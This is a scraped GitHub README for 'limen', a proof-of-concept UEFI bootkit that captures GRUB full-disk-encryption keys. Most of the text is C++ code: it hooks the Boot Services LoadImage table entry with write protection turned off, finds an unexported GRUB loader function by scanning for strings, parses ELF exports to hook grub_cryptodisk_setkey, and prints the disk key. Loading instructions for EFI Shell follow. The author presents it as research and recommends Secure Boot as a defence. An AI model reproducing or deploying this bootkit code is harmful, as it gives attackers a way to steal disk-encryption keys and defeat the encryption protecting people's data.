Thanks to visit codestin.com
Credit goes to Github.com

Skip to content

vtl0/limen

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Limen is a x86_64 EFI runtime driver POC of FDE keys dumping on GRUB via cryptodisk.

This is a research on UEFI Bootkits. This project does not bypass Secure Boot nor does it intend to. Enabling Secure Boot is advised to minimize the risk of exposure to this class of threats.

Research information

GRUB FDE is implemented by the cryptodisk module. It is generally located at /boot/grub/x86_64-efi/cryptodisk.mod (for x86_64 targets) or in grubx64.efi "mods" section, as an ELF image.

In either case, an intermediate function grub_dl_load_core_noinit is called to load the cryptodisk module. The function parses ELF exports and loads the image in memory prior to the module initialization. GRUB functions adhere to the SysV ABI. Hook signatures must match it (__attribute__((sysv_abi))).

grubx64.efi is an EFI boot service image and, consequently, a PE binary. It is loaded by Boot Services function LoadImage. To intercept its loading and hook grub_dl_load_core_noinit, a LoadImage hook is required:

void *swap_service_ptr(EFI_TABLE_HEADER *service_header, void **service_function, void *function)
{
  void *original;
  EFI_TPL tpl;

  if (service_header == nullptr || service_function == nullptr || function == nullptr)
    return nullptr;

  tpl = g::boot_services->RaiseTPL(TPL_HIGH_LEVEL);

  original = *service_function;
  CR0(REG_AND, ~CR0_WP)
  {
    *service_function = function;
    service_header->CRC32 = 0;
    g::boot_services->CalculateCrc32(reinterpret_cast<void *>(service_header),
                                     service_header->HeaderSize, &service_header->CRC32);
  }
  g::boot_services->RestoreTPL(tpl);

  return original;
}
swap_service_ptr(&g::boot_services->Hdr, reinterpret_cast<void **>(&g::boot_services->LoadImage), reinterpret_cast<void *>(hooks::efi::LoadImage_hook));

In the hook, the path is acquired through EFI_SHELL_PROTOCOL function GetFilePathFromDevicePath or EFI_DEVICE_PATH_TO_TEXT_PROTOCOL's ConvertDevicePathToText. To account for possible name changes, a case insensitive strstr is done to read for "grub" in path:

if (strstri(path, (CHAR16 *)L"grub")) { /* */ };

grub_dl_load_core_noinit is not exported. Parsing GRUB EFI stub PE header for exports won't suffice. Alternatively, we search for the internal structure whose signature is roughly:

// not exactly grub_symbol, but similar enough.
struct grub_symbol 
{
    // ...
    const char *name;
    void *addr;
    int isfunc;
};

This structure is identifiable through footprinting as its the sole structure that cross-references unique function name strings in .data section.

Locate the string:

for (uintptr_t i = 0; i < data_section_size - 24; i++) {
  if (memcmp(&data[i], "grub_dl_load_core_noinit", 24) == 0) {    
    str1_pos = reinterpret_cast<uintptr_t>(&data[i]);
  }
}

Locate the cross-reference:

for (uintptr_t i = 0; i < data_section_size - sizeof(uintptr_t); i++) {
  if (*reinterpret_cast<uintptr_t *>(&data[i]) == str1_pos) {
    xref1_pos = reinterpret_cast<uintptr_t>(&data[i]);
  }
}

grub_dl_load_core_noinit returns the structure grub_dl_t:

struct grub_dl
{
  char *name;
  int ref_count;
  int persistent;
  grub_dl_dep_t dep;
  grub_dl_segment_t segment;
  Elf_Sym *symtab;
  grub_size_t symsize;
  void (*init) (struct grub_dl *mod);
  void (*fini) (void);
#if !defined (__i386__) && !defined (__x86_64__)
  void *got;
  void *gotptr;
  void *tramp;
  void *trampptr;
#endif
#ifdef __mips__
  grub_uint32_t *reginfo;
#endif
  void *base;
  grub_size_t sz;
  struct grub_dl *next;
};
#endif
typedef struct grub_dl *grub_dl_t;

Since GRUB 2.14, ref_count is a uint64_t. To infer the correct structure version, compare the proximity of both versions base member to the function parameter addr:

grub_dl_t grub_dl_load_core_noinit_hook(void *addr, uintptr_t size)
{
  static bool version_inferred = false;
  static bool is_grub_2_14 = false;
  grub_dl_t res = grub_dl_load_core_noinit(addr, size);
  grub_dl_t_2 res_2_14 = reinterpret_cast<grub_dl_t_2>(res);

  if (!version_inferred) {
    const uintptr_t _addr = reinterpret_cast<uintptr_t>(addr);
    const uintptr_t _base = reinterpret_cast<uintptr_t>(res->base);
    const uintptr_t _base_2_14 = reinterpret_cast<uintptr_t>(res_2_14->base);

    uintptr_t diff1 = _addr > _base ? _addr - _base : _base - _addr;
    uintptr_t diff2 = _addr > _base_2_14 ? _addr - _base_2_14 : _base_2_14 - _addr;

    if (diff1 > diff2) {
      is_grub_2_14 = true;
    }

    version_inferred = true;
  }
}

cryptodisk exports grub_cryptodisk_setkey function:

gcry_err_code_t grub_cryptodisk_setkey (grub_cryptodisk_t dev,
                                        grub_uint8_t *key,
                                        grub_size_t keysize);

The key is derived from the passphrase acquired by grub_cryptodisk_challenge_password and passed on to grub_cryptodisk_setkey. Exports are registered into static struct grub_symbol *grub_symtab[GRUB_SYMTAB_SIZE]; by static grub_symbol_t grub_dl_resolve_symbol (const char *name). However, due to the static nature of grub_dl_resolve_symbol and aforementioned symbols, accessing them is not trivial.

The low effort and elegant approach involves parsing the ELF module exports before loading and relocations:

grub_dl_t grub_dl_load_core_noinit_hook(void *addr, uintptr_t size)
{
  /* snip */
  uintptr_t setkey_rva = elf_get_export(addr, "grub_cryptodisk_setkey");
  /* snip */
  res = grub_dl_load_core_noinit(addr, size);
  if (strstri("cryptodisk", res->name)) {
    uintptr_t grub_cryptodisk_setkey;

    if (setkey_rva != 0) {
        grub_cryptodisk_setkey = reinterpret_cast<uintptr_t>(res->base) + setkey_rva;
        // apply hook
    }
  }
}
uintptr_t elf_get_export(void *addr, const char *sym)
{
  Elf64_Shdr *symtab;
  Elf64_Shdr *strtab;
  uintptr_t base;
  Elf64_Ehdr *ehdr;  
  Elf64_Shdr *shdr;
  Elf64_Sym *symbols;
  const char *strings;
  Elf64_Xword sym_count;

  symtab = nullptr;
  strtab = nullptr;
  base = reinterpret_cast<uintptr_t>(addr);
  ehdr = reinterpret_cast<Elf64_Ehdr *>(addr);
  shdr = reinterpret_cast<Elf64_Shdr *>(base + ehdr->e_shoff);

  if (ehdr->e_ident[0] != 0x7f || ehdr->e_ident[1] != 'E' || ehdr->e_ident[2] != 'L' ||
      ehdr->e_ident[3] != 'F')
    return 0;

  for (Elf64_Half i = 0; i < ehdr->e_shnum; i++) {
    if (shdr[i].sh_type == SHT_SYMTAB) {
      symtab = &shdr[i];
      strtab = &shdr[shdr[i].sh_link];
      break;
    }
  }

  if (symtab == nullptr || strtab == nullptr)
    return 0;

  symbols = reinterpret_cast<Elf64_Sym *>(base + symtab->sh_offset);
  strings = reinterpret_cast<const char *>(base + strtab->sh_offset);
  sym_count = symtab->sh_size / symtab->sh_entsize;

  for (Elf64_Xword i = 0; i < sym_count; i++) {
    Elf64_Sym *current_symbol = &symbols[i];

    if (current_symbol->st_name == 0)
      continue;

    if (ELF64_ST_BIND(current_symbol->st_info) != STB_GLOBAL ||
        ELF64_ST_TYPE(current_symbol->st_info) != STT_FUNC)
      continue;

    if (current_symbol->st_shndx == SHN_UNDEF)
      continue;

    if (strcmp(strings + current_symbol->st_name, sym) == 0)
      return static_cast<uintptr_t>(current_symbol->st_value);
  }

  return 0;
}

Once grub_cryptodisk_setkey_hook address is known, the attacker can intercept the encryption keys through a function hook:

gcry_err_code_t grub_cryptodisk_setkey_hook(void *dev, uint8_t *key, uintptr_t keysize)
{
  gcry_err_code_t res;

  grub_printf("grub_cryptodisk_setkey_hook(%p, %p, %llu);\n", dev, key, keysize);

  if (key != nullptr && keysize != 0) {
    grub_printf("cryptodisk key found: ", dev, key, keysize);
    for (uintptr_t i = 0; i < keysize; i++) {
      grub_printf("%02x", key[i]);
    }
    grub_printf("\n");
    stolen = true;
  }
  else {
    grub_printf("either key or keysize was invalid\n");
  }

  /* snip */
}

Testing

This project was made using Visual Studio Community 2022. To compile, open the .sln file and compile using clang (MSVC does not currently support SysV ABI). I have no plans of porting it to MSVC. Sorry.

On an authorized device, open EFI Shell and run load fsX:\EFI\limen.efi and then fsX:\EFI\<distro>\grubx64.efi

The path may depend on your end, installation and disk numbers.

Personal note

This was initially a weekend project and ended up taking longer than expected. The original plan included Linux kernel code injection for dmcrypt tampering, but most of it was discarded. You may find some leftover code here and there that I missed. Kernel code injection is something I will implement in another project.

About

UEFI Bootkit that dumps full disk encryption keys

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published